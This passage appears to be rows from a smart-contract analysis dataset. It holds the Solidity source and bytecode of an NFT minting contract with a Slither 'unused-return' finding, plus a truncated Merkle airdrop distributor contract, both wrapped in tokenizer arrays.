[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,848
0x95cf51ff15d64fc749440bbc003ffd1f438d0e85
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./Ownable.sol"; import "./ERC721.sol"; /** * @dev Contract module defining the Tiger's Guild ERC721 NFT Token. * There is a total supply of 8888 tigers to be minted, each tiger cost .08 ETH. * 528 of the tigers are reserved for presale and promo purposes. */ contract TheTigersGuild is ERC721, Ownable { string _baseTokenURI; uint256 public _tigerPrice = 80000000000000000; // .08 ETH bool public _saleIsActive = false; // Reserve 528 Tigers for team - Giveaways/Prizes/Presales etc uint public _tigerReserve = 528; constructor(string memory baseURI) ERC721("The Tigers Guild", "TTG") { setBaseURI(baseURI); } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } /** * Mint a number of tigers straight in target wallet. * @param _to: The target wallet address, make sure it's the correct wallet. * @param _numberOfTokens: The number of tokens to mint. * @dev This function can only be called by the contract owner as it is a free mint. */ function mintFreeTiger(address _to, uint _numberOfTokens) public onlyOwner { uint totalSupply = totalSupply(); require(_numberOfTokens <= _tigerReserve, "Not enough Tigers left in reserve"); require(totalSupply + _numberOfTokens < 8889, "Purchase would exceed max supply of Tigers"); for(uint i = 0; i < _numberOfTokens; i++) { uint mintIndex = totalSupply + i; _safeMint(_to, mintIndex); } _tigerReserve -= _numberOfTokens; } /** * Mint a number of tigers straight in the caller's wallet. * @param _numberOfTokens: The number of tokens to mint. */ function mintTiger(uint _numberOfTokens) public payable { uint totalSupply = totalSupply(); require(_saleIsActive, "Sale must be active to mint a Tiger"); require(_numberOfTokens < 21, "Can only mint 20 tokens at a time"); require(totalSupply + _numberOfTokens + _tigerReserve < 8889, "Purchase would exceed max supply of Tigers"); require(msg.value >= _tigerPrice * _numberOfTokens, "Ether value sent is not correct"); for(uint i = 0; i < _numberOfTokens; i++) { uint mintIndex = totalSupply + i; _safeMint(msg.sender, mintIndex); } } function flipSaleState() public onlyOwner { _saleIsActive = !_saleIsActive; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } // Might wanna adjust price later on. function setPrice(uint256 _newPrice) public onlyOwner() { _tigerPrice = _newPrice; } function getPrice() public view returns(uint256){ return _tigerPrice; } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); for (uint i = 0; i < tokenCount; i++) { result[i] = tokenOfOwnerByIndex(_owner, i); } return result; } } }
0x6080604052600436106101d85760003560e01c80635d893ba01161010257806395d89b4111610095578063c87b56dd11610064578063c87b56dd14610812578063e3ee1cf21461083c578063e985e9c514610875578063f2fde38b146108b0576101d8565b806395d89b41146106da57806398d5fdca146106ef578063a22cb46514610704578063b88d4fde1461073f576101d8565b8063715018a6116100d1578063715018a6146106035780638462151c146106185780638da5cb5b1461069b57806391b7f5ed146106b0576101d8565b80635d893ba01461057c5780636352211e146105915780636c0360eb146105bb57806370a08231146105d0576101d8565b80632f745c591161017a57806342842e0e1161014957806342842e0e1461043f5780634ee408de146104825780634f6ccce71461049f57806355f804b3146104c9576101d8565b80632f745c59146103c757806334918dfd1461040057806335a8c432146104155780633ccfd60b1461042a576101d8565b8063095ea7b3116101b6578063095ea7b31461030d57806318160ddd1461034857806318742bf81461036f57806323b872dd14610384576101d8565b806301ffc9a7146101dd57806306fdde031461023d578063081812fc146102c7575b600080fd5b3480156101e957600080fd5b506102296004803603602081101561020057600080fd5b50357fffffffff00000000000000000000000000000000000000000000000000000000166108e3565b604080519115158252519081900360200190f35b34801561024957600080fd5b5061025261091e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028c578181015183820152602001610274565b50505050905090810190601f1680156102b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d357600080fd5b506102f1600480360360208110156102ea57600080fd5b50356109b4565b604080516001600160a01b039092168252519081900360200190f35b34801561031957600080fd5b506103466004803603604081101561033057600080fd5b506001600160a01b038135169060200135610a16565b005b34801561035457600080fd5b5061035d610af1565b60408051918252519081900360200190f35b34801561037b57600080fd5b5061035d610b02565b34801561039057600080fd5b50610346600480360360608110156103a757600080fd5b506001600160a01b03813581169160208101359091169060400135610b08565b3480156103d357600080fd5b5061035d600480360360408110156103ea57600080fd5b506001600160a01b038135169060200135610b5f565b34801561040c57600080fd5b50610346610b8a565b34801561042157600080fd5b5061035d610c30565b34801561043657600080fd5b50610346610c36565b34801561044b57600080fd5b506103466004803603606081101561046257600080fd5b506001600160a01b03813581169160208101359091169060400135610cdd565b6103466004803603602081101561049857600080fd5b5035610cf8565b3480156104ab57600080fd5b5061035d600480360360208110156104c257600080fd5b5035610e45565b3480156104d557600080fd5b50610346600480360360208110156104ec57600080fd5b81019060208101813564010000000081111561050757600080fd5b82018360208201111561051957600080fd5b8035906020019184600183028401116401000000008311171561053b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610e5b945050505050565b34801561058857600080fd5b50610229610ee2565b34801561059d57600080fd5b506102f1600480360360208110156105b457600080fd5b5035610eeb565b3480156105c757600080fd5b50610252610f13565b3480156105dc57600080fd5b5061035d600480360360208110156105f357600080fd5b50356001600160a01b0316610f74565b34801561060f57600080fd5b50610346610fdc565b34801561062457600080fd5b5061064b6004803603602081101561063b57600080fd5b50356001600160a01b03166110b2565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561068757818101518382015260200161066f565b505050509050019250505060405180910390f35b3480156106a757600080fd5b506102f1611160565b3480156106bc57600080fd5b50610346600480360360208110156106d357600080fd5b503561116f565b3480156106e657600080fd5b506102526111e8565b3480156106fb57600080fd5b5061035d611249565b34801561071057600080fd5b506103466004803603604081101561072757600080fd5b506001600160a01b038135169060200135151561124f565b34801561074b57600080fd5b506103466004803603608081101561076257600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561079d57600080fd5b8201836020820111156107af57600080fd5b803590602001918460018302840111640100000000831117156107d157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611372945050505050565b34801561081e57600080fd5b506102526004803603602081101561083557600080fd5b50356113d0565b34801561084857600080fd5b506103466004803603604081101561085f57600080fd5b506001600160a01b038135169060200135611651565b34801561088157600080fd5b506102296004803603604081101561089857600080fd5b506001600160a01b0381358116916020013516611784565b3480156108bc57600080fd5b50610346600480360360208110156108d357600080fd5b50356001600160a01b03166117b2565b7fffffffff00000000000000000000000000000000000000000000000000000000811660009081526020819052604090205460ff165b919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109aa5780601f1061097f576101008083540402835291602001916109aa565b820191906000526020600020905b81548152906001019060200180831161098d57829003601f168201915b5050505050905090565b60006109bf826118df565b6109fa5760405162461bcd60e51b815260040180806020018281038252602c8152602001806127f8602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610a2182610eeb565b9050806001600160a01b0316836001600160a01b03161415610a745760405162461bcd60e51b81526004018080602001828103825260218152602001806128c06021913960400191505060405180910390fd5b806001600160a01b0316610a866118ec565b6001600160a01b03161480610aa75750610aa781610aa26118ec565b611784565b610ae25760405162461bcd60e51b815260040180806020018281038252603881526020018061274b6038913960400191505060405180910390fd5b610aec83836118f0565b505050565b6000610afd6002611976565b905090565b600e5481565b610b19610b136118ec565b82611981565b610b545760405162461bcd60e51b81526004018080602001828103825260318152602001806128e16031913960400191505060405180910390fd5b610aec838383611a25565b6001600160a01b0382166000908152600160205260408120610b819083611b71565b90505b92915050565b610b926118ec565b6001600160a01b0316610ba3611160565b6001600160a01b031614610bfe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b600c5481565b610c3e6118ec565b6001600160a01b0316610c4f611160565b6001600160a01b031614610caa576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6040514790339082156108fc029083906000818181858888f19350505050158015610cd9573d6000803e3d6000fd5b5050565b610aec83838360405180602001604052806000815250611372565b6000610d02610af1565b600d5490915060ff16610d465760405162461bcd60e51b815260040180806020018281038252602381526020018061287c6023913960400191505060405180910390fd5b60158210610d855760405162461bcd60e51b815260040180806020018281038252602181526020018061272a6021913960400191505060405180910390fd5b6122b9600e548383010110610dcb5760405162461bcd60e51b815260040180806020018281038252602a815260200180612912602a913960400191505060405180910390fd5b81600c5402341015610e24576040805162461bcd60e51b815260206004820152601f60248201527f45746865722076616c75652073656e74206973206e6f7420636f727265637400604482015290519081900360640190fd5b60005b82811015610aec57818101610e3c3382611b7d565b50600101610e27565b600080610e53600284611b97565b509392505050565b610e636118ec565b6001600160a01b0316610e74611160565b6001600160a01b031614610ecf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b8051610cd990600b9060208401906125be565b600d5460ff1681565b6000610b84826040518060600160405280602981526020016127ad6029913960029190611bb3565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109aa5780601f1061097f576101008083540402835291602001916109aa565b60006001600160a01b038216610fbb5760405162461bcd60e51b815260040180806020018281038252602a815260200180612783602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600160205260409020610b8490611976565b610fe46118ec565b6001600160a01b0316610ff5611160565b6001600160a01b031614611050576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b606060006110bf83610f74565b9050806110dc575050604080516000815260208101909152610919565b60008167ffffffffffffffff811180156110f557600080fd5b5060405190808252806020026020018201604052801561111f578160200160208202803683370190505b50905060005b82811015611156576111378582610b5f565b82828151811061114357fe5b6020908102919091010152600101611125565b5091506109199050565b600a546001600160a01b031690565b6111776118ec565b6001600160a01b0316611188611160565b6001600160a01b0316146111e3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600c55565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109aa5780601f1061097f576101008083540402835291602001916109aa565b600c5490565b6112576118ec565b6001600160a01b0316826001600160a01b031614156112bd576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b80600560006112ca6118ec565b6001600160a01b0390811682526020808301939093526040918201600090812091871680825291909352912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169215159290921790915561132c6118ec565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b61138361137d6118ec565b83611981565b6113be5760405162461bcd60e51b81526004018080602001828103825260318152602001806128e16031913960400191505060405180910390fd5b6113ca84848484611bca565b50505050565b60606113db826118df565b6114165760405162461bcd60e51b815260040180806020018281038252602f81526020018061284d602f913960400191505060405180910390fd5b60008281526008602090815260408083208054825160026001831615610100026000190190921691909104601f8101859004850282018501909352828152929091908301828280156114a95780601f1061147e576101008083540402835291602001916114a9565b820191906000526020600020905b81548152906001019060200180831161148c57829003601f168201915b5050505050905060006114ba610f13565b90508051600014156114ce57509050610919565b81511561158f5780826040516020018083805190602001908083835b602083106115095780518252601f1990920191602091820191016114ea565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106115515780518252601f199092019160209182019101611532565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050610919565b8061159985611c1c565b6040516020018083805190602001908083835b602083106115cb5780518252601f1990920191602091820191016115ac565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106116135780518252601f1990920191602091820191016115f4565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b6116596118ec565b6001600160a01b031661166a611160565b6001600160a01b0316146116c5576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60006116cf610af1565b9050600e548211156117125760405162461bcd60e51b815260040180806020018281038252602181526020018061289f6021913960400191505060405180910390fd5b6122b9828201106117545760405162461bcd60e51b815260040180806020018281038252602a815260200180612912602a913960400191505060405180910390fd5b60005b828110156117755781810161176c8582611b7d565b50600101611757565b5050600e805491909103905550565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6117ba6118ec565b6001600160a01b03166117cb611160565b6001600160a01b031614611826576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661186b5760405162461bcd60e51b81526004018080602001828103825260268152602001806126b46026913960400191505060405180910390fd5b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6000610b84600283611d2b565b3390565b600081815260046020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038416908117909155819061193d82610eeb565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610b8482611d37565b600061198c826118df565b6119c75760405162461bcd60e51b815260040180806020018281038252602c8152602001806126fe602c913960400191505060405180910390fd5b60006119d283610eeb565b9050806001600160a01b0316846001600160a01b03161480611a0d5750836001600160a01b0316611a02846109b4565b6001600160a01b0316145b80611a1d5750611a1d8185611784565b949350505050565b826001600160a01b0316611a3882610eeb565b6001600160a01b031614611a7d5760405162461bcd60e51b81526004018080602001828103825260298152602001806128246029913960400191505060405180910390fd5b6001600160a01b038216611ac25760405162461bcd60e51b81526004018080602001828103825260248152602001806126da6024913960400191505060405180910390fd5b611acd838383610aec565b611ad86000826118f0565b6001600160a01b0383166000908152600160205260409020611afa9082611d3b565b506001600160a01b0382166000908152600160205260409020611b1d9082611d47565b50611b2a60028284611d53565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000610b818383611d69565b610cd9828260405180602001604052806000815250611dcd565b6000808080611ba68686611e1f565b9097909650945050505050565b6000611bc0848484611e9a565b90505b9392505050565b611bd5848484611a25565b611be184848484611f64565b6113ca5760405162461bcd60e51b81526004018080602001828103825260328152602001806126826032913960400191505060405180910390fd5b606081611c5d575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610919565b8160005b8115611c7557600101600a82049150611c61565b60008167ffffffffffffffff81118015611c8e57600080fd5b506040519080825280601f01601f191660200182016040528015611cb9576020820181803683370190505b50859350905060001982015b8315611d2257600a840660300160f81b82828060019003935081518110611ce857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84049350611cc5565b50949350505050565b6000610b818383612140565b5490565b6000610b818383612158565b6000610b81838361221e565b6000611bc084846001600160a01b038516612268565b81546000908210611dab5760405162461bcd60e51b81526004018080602001828103825260228152602001806126606022913960400191505060405180910390fd5b826000018281548110611dba57fe5b9060005260206000200154905092915050565b611dd783836122ff565b611de46000848484611f64565b610aec5760405162461bcd60e51b81526004018080602001828103825260328152602001806126826032913960400191505060405180910390fd5b815460009081908310611e635760405162461bcd60e51b81526004018080602001828103825260228152602001806127d66022913960400191505060405180910390fd5b6000846000018481548110611e7457fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281611f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611efa578181015183820152602001611ee2565b50505050905090810190601f168015611f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110611f4857fe5b9060005260206000209060020201600101549150509392505050565b6000611f78846001600160a01b031661242d565b611f8457506001611a1d565b60006120d57f150b7a0200000000000000000000000000000000000000000000000000000000611fb26118ec565b88878760405160240180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612019578181015183820152602001612001565b50505050905090810190601f1680156120465780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001612682603291396001600160a01b0388169190612433565b905060008180602001905160208110156120ee57600080fd5b50517fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001492505050949350505050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015612214578354600019808301919081019060009087908390811061218b57fe5b90600052602060002001549050808760000184815481106121a857fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806121d857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610b84565b6000915050610b84565b600061222a8383612140565b61226057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610b84565b506000610b84565b6000828152600184016020526040812054806122cd575050604080518082018252838152602080820184815286546001818101895560008981528481209551600290930290950191825591519082015586548684528188019092529290912055611bc3565b828560000160018303815481106122e057fe5b9060005260206000209060020201600101819055506000915050611bc3565b6001600160a01b03821661235a576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b612363816118df565b156123b5576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b6123c160008383610aec565b6001600160a01b03821660009081526001602052604090206123e39082611d47565b506123f060028284611d53565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b6060611bc08484600085856124478561242d565b612498576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106124d65780518252601f1990920191602091820191016124b7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612538576040519150601f19603f3d011682016040523d82523d6000602084013e61253d565b606091505b509150915061254d828286612558565b979650505050505050565b60608315612567575081611bc3565b8251156125775782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315611efa578181015183820152602001611ee2565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826125f4576000855561263a565b82601f1061260d57805160ff191683800117855561263a565b8280016001018555821561263a579182015b8281111561263a57825182559160200191906001019061261f565b5061264692915061264a565b5090565b5b80821115612646576000815560010161264b56fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e43616e206f6e6c79206d696e7420323020746f6b656e7320617420612074696d654552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e53616c65206d7573742062652061637469766520746f206d696e7420612054696765724e6f7420656e6f75676820546967657273206c65667420696e20726573657276654552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564507572636861736520776f756c6420657863656564206d617820737570706c79206f6620546967657273a2646970667358221220ba7ef9b03e229ad2a903dbb62d8a23361d67ef08b9baced4c7a594815eb0d13364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2546, 22203, 4246, 16068, 2094, 21084, 11329, 2581, 26224, 22932, 2692, 10322, 2278, 8889, 2509, 4246, 2094, 2487, 2546, 23777, 2620, 2094, 2692, 2063, 27531, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 12854, 1996, 6816, 1005, 1055, 9054, 9413, 2278, 2581, 17465, 1050, 6199, 19204, 1012, 1008, 2045, 2003, 1037, 2561, 4425, 1997, 6070, 2620, 2620, 7600, 2000, 2022, 12927, 2098, 1010, 2169, 6816, 3465, 1012, 5511, 3802, 2232, 1012, 1008, 4720, 2620, 1997, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,849
0x95Cf54120B4EE4F18D81E707213b78C5606a9B22
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./SafeMerkleDistributor.sol"; contract starLMerkleDistributor is SafeMerkleDistributor { constructor(address token_, bytes32 merkleRoot_) SafeMerkleDistributor(token_, merkleRoot_) public {} } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // Allows anyone to claim a token if they exist in a merkle root. interface IMerkleDistributor { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns the current claiming week function week() external view returns (uint32); // Returns true if the claim function is frozen function frozen() external view returns (bool); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // Freezes the claim function and allow the merkleRoot to be changed. function freeze() external; // Unfreezes the claim function. function unfreeze() external; // Update the merkle root and increment the week. function updateMerkleRoot(bytes32 newMerkleRoot) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, uint256 amount, address indexed account, uint256 indexed week); // This event is triggered whenever the merkle root gets updated. event MerkleRootUpdated(bytes32 indexed merkleRoot, uint32 indexed week); } contract OwnableData { // V1 - V5: OK address public owner; // V1 - V5: OK address public pendingOwner; } contract Ownable is OwnableData { // E1: OK event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } // F1 - F9: OK // C1 - C21: OK function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; } else { // Effects pendingOwner = newOwner; } } // F1 - F9: OK // C1 - C21: OK function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } // M1 - M5: OK // C1 - C21: OK modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } contract SafeMerkleDistributor is IMerkleDistributor, Ownable { using SafeERC20 for IERC20; address public immutable override token; bytes32 public override merkleRoot; uint32 public override week; bool public override frozen; // This is a packed array of booleans. mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap; constructor(address token_, bytes32 merkleRoot_) public { token = token_; merkleRoot = merkleRoot_; week = 0; frozen = false; } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[week][claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[week][claimedWordIndex] = claimedBitMap[week][claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!frozen, 'MerkleDistributor: Claiming is frozen.'); require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.'); // Mark it claimed and send the token. _setClaimed(index); IERC20(token).safeTransfer(account, amount); emit Claimed(index, amount, account, week); } function freeze() public override onlyOwner { frozen = true; } function unfreeze() public override onlyOwner { frozen = false; } function updateMerkleRoot(bytes32 _merkleRoot) public override onlyOwner { require(frozen, 'MerkleDistributor: Contract not frozen.'); // Increment the week (simulates the clearing of the claimedBitMap) week = week + 1; // Set the new merkle root merkleRoot = _merkleRoot; emit MerkleRootUpdated(merkleRoot, week); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the 